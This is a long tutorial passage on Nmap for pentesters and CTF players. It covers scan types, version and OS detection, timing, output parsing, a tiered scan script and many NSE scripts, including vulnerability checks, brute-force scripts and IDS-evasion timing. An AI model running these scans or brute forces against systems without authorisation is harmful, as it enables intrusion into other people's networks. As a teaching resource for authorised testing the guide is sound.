kavklaw@llm $ cat nmap-guide.md
β±οΈ 25 min read Β· Master network scanning from first principles to advanced NSE scripting
Don't have time for the full guide? Here's the 90-second version. These three commands will cover 90% of your scanning needs:
The idea is: first scan all 65,535 ports quickly (-p-) to find what's open, then run a slower, deeper scan only on those ports. The --min-rate 5000 flag tells Nmap to try to maintain at least 5,000 packets per second (actual rate may vary based on network conditions), and -T4 sets aggressive timing. The -sC flag runs default scripts and -sV detects service versions. The -oN flag saves results to a file.
# Step 1: Fast port discovery β find ALL open ports quickly
sudo nmap -p- --min-rate 5000 -T4 10.10.10.100 -oN allports.txt
# Step 2: Deep scan only on the open ports you found
sudo nmap -p 22,80,443,8080 -sC -sV -oN detailed.txt 10.10.10.100
# Step 3: Targeted NSE scripts for interesting services
sudo nmap -p 80 --script=http-enum,http-headers 10.10.10.100
sudo nmap -p 445 --script=smb-vuln* 10.10.10.100
That's the tiered approach. Fast sweep first, then deep dive on what matters. Now let's understand why this works and what every flag does.
Nmap (Network Mapper) is the single most important tool in a pentester's (penetration tester's) toolkit. Created by Gordon "Fyodor" Lyon in 1997, it's an open-source utility for network discovery and security auditing. At its core, nmap sends specially crafted packets to target hosts and analyzes the responses to determine:
Every pentest (penetration test, an authorized simulated attack), CTF (Capture The Flag, a hacking competition), or bug bounty starts with reconnaissance (gathering information about your target), and nmap is how you do it. Think of it as the "eyes" of your operation. Before you can exploit anything, you need to know what's there.
Nmap works by exploiting how TCP/IP networking operates. When you send a SYN packet (a TCP connection request) to a port, the response tells you whether the port is open (SYN-ACK), closed (RST), or filtered (no response / ICMP unreachable). Nmap automates this process across thousands of ports and adds intelligence on top: version detection, OS fingerprinting (identifying the operating system by analyzing network behavior), and scriptable probes.
Nmap comes pre-installed on Kali Linux and Parrot OS. For other systems:
# Debian/Ubuntu
sudo apt install nmap
# Fedora/RHEL
sudo dnf install nmap
# macOS (via Homebrew)
brew install nmap
# Verify installation
nmap --version
Root/sudo is required for SYN scans (-sS), UDP scans (-sU), and OS detection (-O) because they need raw socket access. TCP connect scans (-sT) work without root. In CTFs, you'll almost always run nmap with sudo.
Before scanning ports, nmap needs to know which hosts are alive. By default, nmap performs host discovery before port scanning. If a host doesn't respond to discovery probes, nmap skips it entirely.
Here are the different ways you can check which machines are alive on a network. Each method works at a different network layer, so combining them gives you the best results:
# Ping sweep β find live hosts on a subnet (no port scan)
nmap -sn 10.10.10.0/24
# ARP discovery β works on local network (Layer 2)
# Nmap uses this automatically when scanning local subnets
nmap -sn 192.168.1.0/24
# Skip host discovery β scan even if host appears "down"
# Essential for CTFs where ICMP is often blocked
nmap -Pn 10.10.10.100
# TCP SYN discovery on specific ports
nmap -PS22,80,443 10.10.10.100
# TCP ACK discovery
nmap -PA80,443 10.10.10.100
# UDP discovery
nmap -PU53,161 10.10.10.100
# ICMP echo (traditional ping)
nmap -PE 10.10.10.0/24
# Combine methods for best results
nmap -PE -PS22,80,443 -PA80 -PU53 10.10.10.0/24
π‘ Pro Tip: In CTFs and HTB (Hack The Box, a popular practice platform), always use-Pn. Some boxes block host discovery probes. Nmap uses TCP probes too (not just ICMP), but-Pnskips discovery entirely to guarantee scanning. You'll sit there wondering why nothing shows up.
-sn means "ping scan only, no port scan" β use it when you want to discover live hosts on a network. -Pn means "skip ping, go straight to port scanning" β use it when you know the target is alive but ICMP might be blocked.
nmap -sn 10.10.10.0/24 β "Who's alive?"nmap -Pn 10.10.10.100 β "Scan this box even if it doesn't ping"Before diving into scan types, it helps to understand the two transport protocols you'll be scanning. TCP (Transmission Control Protocol) is connection-oriented β before any data flows, two machines perform a "three-way handshake" (SYN β SYN-ACK β ACK) to establish a reliable channel. This handshake is exactly what nmap exploits to determine port states. UDP (User Datagram Protocol) is connectionless β it just fires packets with no handshake, no guaranteed delivery, no built-in acknowledgment. This makes UDP faster but also makes scanning it much harder, because silence could mean "open" or "filtered." Most services you'll attack (HTTP, SSH, SMB) use TCP, but critical services like DNS, SNMP, and DHCP use UDP β so you need to scan both.
Nmap supports multiple scan types, each using different TCP flag combinations. Understanding these is fundamental. It's not just about memorizing flags, it's about understanding why each technique exists.
Also called "half-open" or "stealth" scan. This is Nmap's default when raw-packet privileges are available (otherwise it falls back to TCP connect scan). It sends a SYN packet and waits for the response:
# SYN scan (requires root for raw socket access)
sudo nmap -sS 10.10.10.100
What happens under the hood:
OPEN PORT: CLOSED PORT:
Attacker ββSYNβββ Target :80 Attacker ββSYNβββ Target :81
Attacker βSYN-ACKββ Target Attacker βββRSTββ Target
Attacker ββRSTβββ Target (Port CLOSED)
(Never completes handshake)
FILTERED PORT:
Attacker ββSYNβββ Target :82
Attacker ... (no response / ICMP unreachable)
(Firewall blocking)
Why "stealth"? Because the TCP handshake never completes, some older logging systems don't record the connection. Modern IDS/IPS (Intrusion Detection/Prevention Systems β software that monitors network traffic and blocks suspicious activity) absolutely detect SYN scans, but the name stuck.
Uses the OS's connect() system call to complete the full TCP handshake. Slower and noisier than SYN, but doesn't need root privileges.
# TCP connect scan (works without root)
nmap -sT 10.10.10.100
# Full handshake: SYN β SYN-ACK β ACK β (connection established, then closed)
# This creates a real connection, so it WILL appear in logs
Use this when you can't run as root, or when scanning through certain proxies (like SOCKS) that require full connections.
UDP scanning is slow but critical. Many important services run on UDP: DNS (53), SNMP (161/162), TFTP (69), NTP (123), and DHCP (67/68).
# UDP scan (very slow β UDP has no handshake)
sudo nmap -sU 10.10.10.100
# Speed it up by scanning only common UDP ports
sudo nmap -sU --top-ports 20 10.10.10.100
# Combine TCP and UDP in one scan
sudo nmap -sS -sU --top-ports 100 10.10.10.100
UDP scanning is slow because there's no handshake. When a UDP port is open, the service may or may not respond. When it's closed, the target sends an ICMP "port unreachable" message. When it's filtered, there's no response at all, making open and filtered hard to distinguish.
π‘ Pro Tip: Always scan at least the top 20 UDP ports. SNMP (161) with a default community string of "public" is a goldmine for information leakage. DNS (53) might allow zone transfers. Don't skip UDP!
ACK scans don't determine if ports are open. They map firewall rules. An ACK packet sent to an unfiltered port will get a RST back (whether open or closed). A filtered port will drop the packet or send ICMP unreachable.
# ACK scan β maps firewall rules, not port states
sudo nmap -sA 10.10.10.100
# Use case: "Are any ports getting through the firewall?"
# RST response = unfiltered (firewall allows traffic through)
# No response = filtered (firewall is blocking)
These "stealthy" scans exploit RFC 793 (the official TCP specification): if a closed port receives a packet without SYN, RST, or ACK flags set, it should respond with RST. An open port typically drops the packet silently (result shown as open|filtered, not definitively open).
# FIN scan β sends packet with only FIN flag
sudo nmap -sF 10.10.10.100
# Xmas scan β FIN + PSH + URG flags (lit up like a Christmas tree)
sudo nmap -sX 10.10.10.100
# Null scan β no flags set at all
sudo nmap -sN 10.10.10.100
These are rarely useful in modern environments because most firewalls and OSes handle these correctly now. They can sometimes bypass very old stateless firewalls that only filter SYN packets. Windows systems don't follow RFC 793 for these, so they'll show all ports as closed regardless.
-Pn flag do in nmap?-Pn tells nmap to skip the ping/host discovery phase and treat the target as alive. This is essential in CTFs where ICMP is often blocked β without it, nmap may think the host is down and skip scanning entirely. Don't confuse it with -sn, which does the opposite (ping scan only, no port scan).-sS), what response indicates a port is open?-sU specifies a UDP scan (not -sT, which is TCP Connect). --top-ports 20 scans the 20 most commonly open UDP ports from nmap's database β not ports 1-20 sequentially. UDP scans require root/sudo because they need raw socket access. Key UDP services to watch for: DNS (53), SNMP (161), TFTP (69), NTP (123).A quick refresher: a port is like a numbered door on a server. Each network service (SSH, web server, database, etc.) listens on a specific port number (0-65535). For example, web servers typically use port 80 (HTTP) or 443 (HTTPS), and SSH uses port 22. By default, nmap scans the top 1,000 most common ports. That's fine for a quick check, but real pentesting requires more thorough scanning.
# Scan specific ports
nmap -p 22,80,443 10.10.10.100
# Scan a range
nmap -p 1-1000 10.10.10.100
# Scan ALL 65,535 ports
nmap -p- 10.10.10.100
# Top N ports (by frequency in nmap's database)
nmap --top-ports 100 10.10.10.100
nmap --top-ports 1000 10.10.10.100
# Scan specific TCP and UDP ports
nmap -p T:80,443,U:53,161 10.10.10.100
# Exclude specific ports
nmap -p- --exclude-ports 25,110 10.10.10.100
π‘ Pro Tip: Always do a full-p-scan at some point during your recon. Services love hiding on non-standard ports. That web app on port 49152? You'll miss it with the default top-1000 scan. Pair-p-with--min-rate 5000to keep it fast.
When a service starts on a port, it often announces itself with a service banner β a text string the server sends when you first connect, like SSH-2.0-OpenSSH_8.2p1 or the HTTP Server: Apache/2.4.49 header. Banners tell you exactly what software and version is running, which is gold for attackers because every version has a specific set of known vulnerabilities. Version detection is the bridge between "there's something on port 80" and "there's a specific exploitable version of Apache on port 80."
Knowing that port 80 is open is useful. Knowing it's running Apache/2.4.49 is powerful, because that specific version has a path traversal RCE (Remote Code Execution). This is tracked as CVE-2021-41773 (CVEs are standardized IDs for known vulnerabilities).
# Version detection β probe services to identify them
nmap -sV 10.10.10.100
# Increase version detection intensity (0-9, default 7)
nmap -sV --version-intensity 9 10.10.10.100
# Light version detection (faster, less accurate)
nmap -sV --version-light 10.10.10.100
# Default scripts + version detection (most common combo)
nmap -sC -sV 10.10.10.100
# -sC is equivalent to --script=default
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
| β product β version β extra info
80/tcp open http Apache httpd 2.4.49 ((Unix))
| β this version = CVE-2021-41773!
443/tcp open ssl/http nginx 1.18.0
| β SSL-wrapped HTTP
3306/tcp open mysql MySQL 5.7.38
| β specific DB version β known exploits?
8080/tcp open http-proxy Squid http proxy 4.6
| β proxy β potential pivot point (a way to reach other internal machines)
Version detection works by sending specific probes and matching responses against nmap's nmap-service-probes database. It goes beyond simple banner grabbing β it sends protocol-specific requests to accurately identify services.
Nmap can fingerprint the target's operating system by analyzing subtle differences in how TCP/IP stacks are implemented.
# OS detection (requires at least one open and one closed port)
sudo nmap -O 10.10.10.100
# Aggressive OS detection (makes nmap try harder)
sudo nmap -O --osscan-guess 10.10.10.100
# Limit OS detection retries
sudo nmap -O --max-os-tries 1 10.10.10.100
# The "aggressive" flag combines several options
sudo nmap -A 10.10.10.100
# -A = -O (OS detection) + -sV (version) + -sC (scripts) + --traceroute
β οΈ Common Mistake:-Ais convenient but slow. It enables OS detection, version detection, default scripts, AND traceroute all at once. In CTFs, you're better off using targeted flags. Use-Afor lazy scans on a single target; use the tiered approach for real work.
Nmap guesses the kernel version range with a confidence percentage. CPE (Common Platform Enumeration) is a standardized naming scheme for platforms:
OS details: Linux 4.15 - 5.8 (96%)
OS CPE: cpe:/o:linux:linux_kernel:4.15
Aggressive OS guesses:
Linux 5.4 (96%)
Linux 4.15 - 5.6 (95%)
Linux 5.0 - 5.4 (93%)
Timing templates control how fast nmap sends packets. They range from -T0 (paranoid) to -T5 (insane). Choosing the right template balances speed against accuracy and stealth.
| Template | Name | Use Case | Packet Delay |
|---|---|---|---|
-T0 | Paranoid | IDS evasion (real engagements) | 5 minutes between probes |
-T1 | Sneaky | IDS evasion (slightly faster) | 15 seconds between probes |
-T2 | Polite | Reduce network load | 0.4 seconds between probes |
-T3 | Normal | Default β balanced | Dynamic |
-T4 | Aggressive | CTFs, fast local networks | 10ms max delay |
-T5 | Insane | Fast scans, may miss ports | 5ms max delay |
# CTF/HTB scanning β speed over stealth
sudo nmap -T4 -p- 10.10.10.100
# Real-world engagement β balance
sudo nmap -T3 -sS 10.10.10.0/24
# Stealthy scan β avoid IDS
sudo nmap -T1 -sS 10.10.10.100
# Insane speed (may miss some ports)
sudo nmap -T5 -p- 10.10.10.100
π‘ Pro Tip: For CTFs,-T4is your default.-T5can miss ports β use it only when rescanning to verify results. In real engagements,-T3with custom timing (--min-rate,--max-retries) gives you better control than any template.
-sC runs the default NSE scripts (equivalent to --script=default) and -sV enables version detection. Together they form the most common deep-scan combo. -A is too aggressive β it adds OS detection and traceroute unnecessarily. --script=all runs every script including dangerous ones like DoS and exploit scripts.-T4 (Aggressive) is the go-to for CTFs β it sets a max delay of 10ms between probes, giving you fast results on reliable networks. -T5 (Insane) can actually miss ports due to dropped packets. -T0 and -T1 are for IDS evasion in real engagements, with delays of 5 minutes and 15 seconds between probes respectively.The Nmap Scripting Engine (NSE) is what transforms nmap from a port scanner into a full reconnaissance and vulnerability assessment tool. NSE scripts are written in Lua (a lightweight programming language) and cover everything from banner grabbing to full exploit execution.
Don't worry if this list looks overwhelming. You'll mostly use default, vuln, and a handful of specific scripts. The rest are there when you need them.
-sC# Run default scripts (safe + useful)
nmap -sC 10.10.10.100
# Same as:
nmap --script=default 10.10.10.100
# Run scripts by category
nmap --script=vuln 10.10.10.100
nmap --script=safe,discovery 10.10.10.100
# Run specific scripts
nmap --script=http-enum 10.10.10.100
nmap --script=smb-vuln-ms17-010 10.10.10.100
# Wildcard matching
nmap --script=http-* 10.10.10.100
nmap --script=smb-vuln* 10.10.10.100
# Combine category + specific
nmap --script=default,http-enum,smb-vuln* 10.10.10.100
# Pass arguments to scripts
nmap --script=http-enum --script-args http-enum.basepath=/api/ 10.10.10.100
# List all available scripts
ls /usr/share/nmap/scripts/ | head -20
# Or search for scripts
ls /usr/share/nmap/scripts/ | grep smb
# http-enum β discovers common web paths (like a mini gobuster)
nmap -p 80 --script=http-enum 10.10.10.100
# http-headers β shows response headers
nmap -p 80 --script=http-headers 10.10.10.100
# http-methods β checks allowed HTTP methods (PUT, DELETE, etc.)
nmap -p 80 --script=http-methods 10.10.10.100
# http-title β grabs page title (quick way to see what's there)
nmap -p 80,443,8080 --script=http-title 10.10.10.100
# http-robots.txt β reads robots.txt
nmap -p 80 --script=http-robots.txt 10.10.10.100
# http-shellshock β tests for Shellshock vulnerability
nmap -p 80 --script=http-shellshock --script-args uri=/cgi-bin/test.cgi 10.10.10.100
# smb-enum-shares β list shared folders
nmap -p 445 --script=smb-enum-shares 10.10.10.100
# smb-enum-users β enumerate domain users
nmap -p 445 --script=smb-enum-users 10.10.10.100
# smb-vuln* β check for EternalBlue, MS08-067, etc.
nmap -p 445 --script=smb-vuln* 10.10.10.100
# Specific EternalBlue check
nmap -p 445 --script=smb-vuln-ms17-010 10.10.10.100
# smb-os-discovery β OS info via SMB
nmap -p 445 --script=smb-os-discovery 10.10.10.100
# ssl-enum-ciphers β check cipher suites and grade them
nmap -p 443 --script=ssl-enum-ciphers 10.10.10.100
# ssl-cert β extract SSL certificate details
nmap -p 443 --script=ssl-cert 10.10.10.100
# Great for finding hostnames and subdomains!
# ssl-heartbleed β test for Heartbleed
nmap -p 443 --script=ssl-heartbleed 10.10.10.100
# dns-brute β brute force subdomains
nmap --script=dns-brute target.htb
# ftp-anon β check for anonymous FTP access
nmap -p 21 --script=ftp-anon 10.10.10.100
# mysql-empty-password β check for empty root password
nmap -p 3306 --script=mysql-empty-password 10.10.10.100
# snmp-brute β brute force SNMP community strings
nmap -p 161 -sU --script=snmp-brute 10.10.10.100
# vulners β cross-reference versions with vulnerability database
nmap -sV --script=vulners 10.10.10.100
Always save your scan results. You'll refer back to them constantly, and re-scanning wastes time.
# Normal output (human-readable)
nmap -oN scan.txt 10.10.10.100
# Grepable output (easy to parse with grep/awk/cut)
nmap -oG scan.gnmap 10.10.10.100
# XML output (for importing into tools like Metasploit)
nmap -oX scan.xml 10.10.10.100
# All three formats at once
nmap -oA scan 10.10.10.100
# Creates: scan.nmap, scan.gnmap, scan.xml
# Append to existing file (doesn't work with -oA)
nmap --append-output -oN scan.txt 10.10.10.100
# Extract only open ports from grepable output
grep "open" scan.gnmap
# Get a comma-separated list of open ports (perfect for -p flag)
grep -oP '\d+/open' scan.gnmap | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//'
# Output: 22,80,443,3306,8080
# Find all hosts with port 80 open
grep "80/open" scan.gnmap | cut -d' ' -f2
# Count open ports per host
grep "Ports:" scan.gnmap | while read line; do
host=$(echo $line | cut -d' ' -f2)
ports=$(echo $line | grep -oP '\d+/open' | wc -l)
echo "$host: $ports open ports"
done
π‘ Pro Tip: Always use-oA. It costs nothing extra and gives you all three formats. The grepable output is invaluable for scripting, and the XML can be imported into Metasploit withdb_import scan.xml.
Timing templates are just presets. For real control over scan speed, use these flags:
# Minimum packet sending rate (packets per second)
nmap --min-rate 5000 -p- 10.10.10.100
# Sends at least 5000 packets/sec β fast full port scan
# Maximum retries per port (default: 10)
nmap --max-retries 2 -p- 10.10.10.100
# Fewer retries = faster but might miss filtered ports
# Host timeout β skip slow hosts
nmap --host-timeout 5m 10.10.10.0/24
# Maximum RTT timeout
nmap --max-rtt-timeout 100ms -p- 10.10.10.100
# Minimum parallelism (probe multiple ports simultaneously)
nmap --min-parallelism 100 -p- 10.10.10.100
# Combine for ultimate speed
sudo nmap -p- --min-rate 10000 --max-retries 1 -T4 10.10.10.100
# For slow/unreliable networks, be gentler
sudo nmap -p- --max-rate 500 --max-retries 3 -T3 10.10.10.100
Faster scans miss ports. It's a fundamental tradeoff. A SYN packet sent at 10,000 pps might arrive when the target's network stack is busy, get dropped, and nmap marks the port as closed/filtered. Mitigation strategies:
--max-retries 2 instead of --max-retries 0-T3Here's the exact scanning methodology I use on every engagement. It's a tiered approach that balances speed with thoroughness.
Tier 1: FAST DISCOVERY βββ nmap -p- --min-rate 5000
(~2 min) Find ALL open ports
β
βΌ
Tier 2: DEEP SCAN βββββββ nmap -p PORTS -sC -sV
(~5-10 min) Version + default scripts
β
βΌ
Tier 3: TARGETED SCRIPTS β nmap --script=http-enum,smb-vuln*
(as needed) Service-specific enumeration
β
βΌ
Tier 4: UDP SCAN βββββββββ nmap -sU --top-ports 50
(background) Don't forget UDP!
# Find all open TCP ports as fast as possible
sudo nmap -p- --min-rate 5000 -T4 $TARGET -oA nmap/allports
# Extract open ports into a variable
PORTS=$(grep -oP '\d+/open' nmap/allports.gnmap | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
echo "Open ports: $PORTS"
# Deep scan only open ports
sudo nmap -p $PORTS -sC -sV -oA nmap/detailed $TARGET
# OS detection if needed
sudo nmap -p $PORTS -O -oA nmap/os $TARGET
# Web services
sudo nmap -p 80,443 --script=http-enum,http-headers,http-methods,http-title $TARGET
# SMB
sudo nmap -p 445 --script=smb-enum-shares,smb-enum-users,smb-vuln*,smb-os-discovery $TARGET
# Vulnerability sweep
sudo nmap -p $PORTS --script=vuln $TARGET -oA nmap/vulns
# Top UDP ports (run in background β takes a while)
sudo nmap -sU --top-ports 50 -T4 $TARGET -oA nmap/udp &
Here's a bash script that automates the entire tiered approach:
#!/bin/bash
# tiered-scan.sh β Automated tiered nmap scanning
TARGET=$1
OUTDIR="nmap"
if [ -z "$TARGET" ]; then
echo "Usage: $0 <target>"
exit 1
fi
mkdir -p $OUTDIR
echo "[*] Tier 1: Quick port discovery..."
sudo nmap -p- --min-rate 5000 -T4 $TARGET -oA $OUTDIR/allports 2>/dev/null
PORTS=$(grep -oP '\d+/open' $OUTDIR/allports.gnmap | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
if [ -z "$PORTS" ]; then
echo "[-] No open ports found!"
exit 1
fi
echo "[+] Open ports: $PORTS"
echo "[*] Tier 2: Service enumeration..."
sudo nmap -p $PORTS -sC -sV -oA $OUTDIR/detailed $TARGET
echo "[*] Tier 3: Vulnerability scripts..."
sudo nmap -p $PORTS --script=vuln -oA $OUTDIR/vulns $TARGET 2>/dev/null
echo "[*] Tier 4: UDP scan (background)..."
sudo nmap -sU --top-ports 50 -T4 $TARGET -oA $OUTDIR/udp &
echo "[+] TCP scanning complete! UDP scan running in background."
echo "[+] Results saved to $OUTDIR/"
Here are real scenarios from CTF challenges that demonstrate nmap techniques:
# Default top-1000 scan shows only SSH and HTTP
nmap 10.10.10.100
# PORT STATE SERVICE
# 22/tcp open ssh
# 80/tcp open http
# Full port scan reveals a hidden service!
nmap -p- --min-rate 5000 10.10.10.100
# PORT STATE SERVICE
# 22/tcp open ssh
# 80/tcp open http
# 50000/tcp open ibm-db2 β WHAT IS THIS?
# Deep scan the new port
nmap -p 50000 -sC -sV 10.10.10.100
# 50000/tcp open http Jetty 9.4.39
# β It's a Jenkins instance! Default creds? Script console? RCE incoming.
# Service scan reveals old Windows + SMB
nmap -sV 10.10.10.40
# 445/tcp open microsoft-ds Windows 7 Professional 7601 SP1
# That Windows 7 version β check EternalBlue
nmap -p 445 --script=smb-vuln-ms17-010 10.10.10.40
# | smb-vuln-ms17-010:
# | VULNERABLE:
# | Remote Code Execution vulnerability in Microsoft SMBv1 servers
# β JACKPOT β EternalBlue β SYSTEM shell
# SSL cert reveals additional hostnames
nmap -p 443 --script=ssl-cert 10.10.10.100
# | ssl-cert: Subject: commonName=target.htb
# | Subject Alternative Name: DNS:admin.target.htb, DNS:dev.target.htb
# β Found virtual hosts! Add to /etc/hosts and enumerate
β Mistake #1: Only scanning top 1000 ports.
The default scan misses 64,535 ports. Always do a-p-scan. That web shell on port 49152, that database on port 27017, that custom service on port 31337 β all invisible with default scanning.
β Mistake #2: Forgetting-Pnin CTFs.
Many CTF boxes block ICMP. Without-Pn, nmap thinks the host is down and returns nothing. You'll waste 30 minutes troubleshooting your VPN connection when the fix is one flag.
β Mistake #3: Running a single massive scan.
nmap -A -p- -T4 targettries to do everything at once and takes forever. Use the tiered approach: fast discovery first, then targeted deep scans on what matters.
β Mistake #4: Not saving output.
You will need to reference your scan results later. Always use-oAto save in all formats. Create a dedicatednmap/directory for each target.
β Mistake #5: Skipping UDP.
UDP scans are slow, but SNMP, DNS, NTP, and TFTP can be goldmines. At minimum, scan--top-ports 20on UDP.
β Mistake #6: Ignoring version numbers.
OpenSSH 7.2p2has user enumeration.Apache 2.4.49has path traversal RCE.ProFTPd 1.3.5has mod_copy abuse. Versions matter β always use-sVand search every version for CVEs.
β Mistake #7: Not using scripts.
NSE scripts automate tedious enumeration.http-enumfinds hidden paths,smb-vuln*finds EternalBlue,ssl-certreveals hostnames. Learn the top 10 scripts and use them.
We covered the basics of NSE above, but let's go much deeper. These 15+ scripts are the ones you'll reach for again and again in real engagements and CTFs. For each one, we'll cover what it does, when to use it, and exactly what the output means.
http-enum is like a lightweight Gobuster built into nmap. It probes for common web paths (admin panels, backup files, CMS install directories, known application fingerprints) using a built-in database of ~2,000 signatures.
# Basic usage
nmap -p 80 --script=http-enum 10.10.10.100
# Scan a non-standard port with a basepath
nmap -p 8080 --script=http-enum --script-args http-enum.basepath=/api/ 10.10.10.100
# Use a custom fingerprint file
nmap -p 80 --script=http-enum --script-args http-enum.fingerprintfile=./custom-fps.txt 10.10.10.100
# Example output:
# PORT STATE SERVICE
# 80/tcp open http
# | http-enum:
# | /admin/: Possible admin folder
# | /phpmyadmin/: phpMyAdmin
# | /robots.txt: Robots file
# | /icons/: Potentially interesting directory
# | /.git/HEAD: Git folder (source code leak!)
# |_ /backup/: Backup directory
The .git/HEAD finding is gold β you can often reconstruct the entire source code with git-dumper. Always run http-enum before reaching for heavier tools.
Grabs the <title> tag from web pages. Sounds simple, but it's incredibly useful when scanning many ports or hosts β you instantly know what's running where.
# Scan multiple ports at once
nmap -p 80,443,8080,8443,8000,9090 --script=http-title 10.10.10.100
# Example output:
# PORT STATE SERVICE
# 80/tcp open http
# |_http-title: Apache2 Ubuntu Default Page
# 8080/tcp open http-proxy
# |_http-title: Jenkins [Jenkins]
# 9090/tcp open zeus-admin
# |_http-title: Cockpit
# β Found Jenkins and Cockpit management panel!
Lists all SMB shares on a target, including permissions. This is one of the first things to run when you see port 445 open.
# Basic enumeration (may work with null session)
nmap -p 445 --script=smb-enum-shares 10.10.10.100
# With credentials for better results
nmap -p 445 --script=smb-enum-shares --script-args smbusername=user,smbpassword=pass 10.10.10.100
# Example output:
# | \\10.10.10.100\ADMIN$:
# | Type: STYPE_DISKTREE_HIDDEN
# | Access: Denied
# | \\10.10.10.100\backup:
# | Type: STYPE_DISKTREE
# | Access: READ
# | Comment: Backup files
# | \\10.10.10.100\C$:
# | Type: STYPE_DISKTREE_HIDDEN
# | Access: Denied
# β The "backup" share with READ access is your target
Extracts operating system information, domain name, computer name, and forest name from SMB. More reliable than nmap's TCP-based OS fingerprinting for Windows targets.
nmap -p 445 --script=smb-os-discovery 10.10.10.100
# Example output:
# | smb-os-discovery:
# | OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
# | Computer name: DC01
# | NetBIOS computer name: DC01\x00
# | Domain name: corp.htb
# | Forest name: corp.htb
# | FQDN: DC01.corp.htb
# β This tells you: it's a Domain Controller for corp.htb
The vuln category runs all vulnerability-detection scripts. It checks for dozens of known CVEs β EternalBlue, Heartbleed, shellshock, and many more.
# Run all vuln scripts against discovered ports
nmap -p 22,80,443,445 --script=vuln 10.10.10.100
# Target specific vulnerability families
nmap -p 445 --script=smb-vuln* 10.10.10.100
nmap -p 80 --script=http-vuln* 10.10.10.100
# The vuln category is noisy and slow, but thorough.
# In CTFs, run it in the background while you enumerate manually.
Tests for the Heartbleed bug in OpenSSL. While it's an old vulnerability, it still appears in CTFs and legacy systems.
nmap -p 443 --script=ssl-heartbleed 10.10.10.100
# Vulnerable output:
# | ssl-heartbleed:
# | VULNERABLE:
# | The Heartbleed Bug is a serious vulnerability in OpenSSL
# | State: VULNERABLE
# | Risk factor: High
# | Description:
# | Allows reading memory of systems protected by vulnerable OpenSSL
# If vulnerable, you can leak memory (credentials, session keys, private keys)
# Use the Metasploit module: auxiliary/scanner/ssl/openssl_heartbleed
Brute-forces subdomains using a built-in wordlist. Useful when you have a domain name but need to discover virtual hosts or subdomains.
# Basic subdomain brute force
nmap --script=dns-brute target.htb
# With a custom wordlist
nmap --script=dns-brute --script-args dns-brute.hostlist=./subdomains.txt target.htb
# Increase threads for speed
nmap --script=dns-brute --script-args dns-brute.threads=10 target.htb
# Example output:
# | dns-brute:
# | DNS Brute-force hostnames:
# | admin.target.htb β 10.10.10.100
# | dev.target.htb β 10.10.10.100
# | mail.target.htb β 10.10.10.101
# | vpn.target.htb β 10.10.10.102
# β Add these to /etc/hosts and enumerate each one
Checks whether FTP allows anonymous login. Anonymous FTP is a classic easy win in CTFs, often containing configuration files, credentials, or backups.
nmap -p 21 --script=ftp-anon 10.10.10.100
# Positive output:
# | ftp-anon: Anonymous FTP login allowed (FTP code 230)
# | drwxr-xr-x 2 ftp ftp 4096 Jan 01 00:00 pub
# | -rw-r--r-- 1 ftp ftp 1024 Jan 01 00:00 credentials.txt
# |_ -rw-r--r-- 1 ftp ftp 5120 Jan 01 00:00 backup.tar.gz
# β Connect with: ftp 10.10.10.100 (user: anonymous, password: blank)
Lists SMTP commands supported by the mail server. Useful for identifying user enumeration vectors (VRFY, EXPN) and relay opportunities.
nmap -p 25 --script=smtp-commands 10.10.10.100
# Example output:
# | smtp-commands: mail.target.htb, PIPELINING, SIZE 10240000, VRFY, ETRN,
# | STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
# β VRFY is enabled β you can enumerate valid usernames:
# VRFY admin β 252 2.0.0 admin
# VRFY fakeuser β 550 5.1.1 <fakeuser>: Recipient address rejected
# Also check for open relay:
nmap -p 25 --script=smtp-open-relay 10.10.10.100
Extracts version info, protocol, capabilities, and salt from MySQL servers. Combined with mysql-empty-password, it's a quick check for low-hanging fruit.
# Get MySQL info
nmap -p 3306 --script=mysql-info 10.10.10.100
# Check for empty root password
nmap -p 3306 --script=mysql-empty-password 10.10.10.100
# Enumerate databases (with credentials)
nmap -p 3306 --script=mysql-databases --script-args mysqluser=root,mysqlpass='' 10.10.10.100
# Brute force
nmap -p 3306 --script=mysql-brute 10.10.10.100
Identifies which authentication methods an SSH server accepts. Important for knowing whether to try passwords, keys, or other methods.
nmap -p 22 --script=ssh-auth-methods 10.10.10.100
# Output:
# | ssh-auth-methods:
# | Supported authentication methods:
# | publickey
# | password
# β Password auth is enabled β brute force is possible
# If only "publickey" is shown, you need to find a private key somewhere
SNMP (Simple Network Management Protocol) is used for monitoring and managing network devices. It's an absolute goldmine when exposed because it can leak system information, running processes, installed software, network interfaces, and even credentials. SNMP uses "community strings" as passwords β the default is often "public" (read-only) or "private" (read-write).
# Basic SNMP probe (UDP 161)
nmap -sU -p 161 --script=snmp-info 10.10.10.100
# Brute-force community strings
nmap -sU -p 161 --script=snmp-brute 10.10.10.100
# Walk the full SNMP tree (with a valid community string)
nmap -sU -p 161 --script=snmp-win32-users,snmp-win32-services,snmp-processes,snmp-interfaces \
--script-args snmpcommunity=public 10.10.10.100
# snmp-win32-users can reveal every user account on the system
# snmp-processes shows running processes (might reveal hidden services)
Lists files available on NFS (Network File System β a protocol that lets you mount remote directories as if they were local) shares. NFS misconfigurations (like no_root_squash, which lets root on your machine act as root on the remote share) are a classic Linux privilege escalation vector.
# List NFS exports
nmap -p 111 --script=nfs-ls,nfs-showmount,nfs-statfs 10.10.10.100
# Example output:
# | nfs-showmount:
# | /srv/share *
# |_ /home/user 10.10.10.0/24
# | nfs-ls: Volume /srv/share
# | access uid gid size filename
# | rwxr-xr-x 0 0 4096 .
# | rw-r--r-- 0 0 1234 config.bak
# β Mount it: mount -t nfs 10.10.10.100:/srv/share /mnt
IPv6 is increasingly common in modern networks, and many CTF authors use it to hide services that aren't reachable via IPv4. Nmap fully supports IPv6 scanning, but the syntax and approach differ slightly.
# Scan an IPv6 address (use -6 flag)
nmap -6 fe80::1%eth0
nmap -6 2001:db8::1
# Full port scan on IPv6
nmap -6 -p- --min-rate 5000 fe80::a00:27ff:fe4e:1234%eth0
# Service/version detection on IPv6
nmap -6 -sC -sV 2001:db8::dead:beef
# The -6 flag works with ALL other nmap options:
nmap -6 -sU --top-ports 20 fe80::1%eth0
nmap -6 --script=vuln 2001:db8::1
Link-local IPv6 addresses (starting with fe80::) require an interface specifier because they're only valid on a specific network segment:
